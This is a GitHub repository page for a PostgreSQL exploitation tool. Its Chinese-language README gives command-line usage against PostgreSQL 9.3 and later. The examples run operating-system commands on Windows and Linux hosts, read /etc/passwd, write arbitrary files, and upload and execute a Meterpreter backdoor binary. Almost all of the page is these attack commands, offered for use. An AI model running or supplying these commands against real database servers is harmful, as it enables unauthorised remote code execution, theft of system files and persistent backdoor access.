Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

EstamelGG/PostgreSQL_RCE_tool

Open more actions menu

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

使用

适用版本:PostgreSQL >= 9.3

Windows 主机执行命令

python3 'PostgreSQL_tool.py' --host "192.168.163.154" -w "123456" -m "rce" -c "ipconfig" -e "GBK"

img.png

Linux 主机执行命令

python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "rce" -c "id" -e "UTF8"

img.png

Linux 主机读取文件

python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "read" -s "/etc/passwd" -e "UTF8"

img_1.png

执行 SQL 语句

python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "sql" -c "show server_version;" -e "UTF8"

img_2.png

写入字符串

python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "text_upload" -s "this is test" -t "/tmp/1.txt"
# python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "rce" -c "cat /tmp/1.txt" -e "UTF8"

img_3.png

上传后门程序

上传:

python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "bin_upload" -s "/tmp/meterpreter" -t "/tmp/hack"

img_4.png

执行:

python3 'PostgreSQL_tool.py' --host "192.168.163.149" -w "123456" -m "rce" -c "chmod +x /tmp/hack;/tmp/hack" -e "UTF8"

img_5.png

About

PostgreSQL利用工具

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

Morty Proxy This is a proxified and sanitized view of the page, visit original site.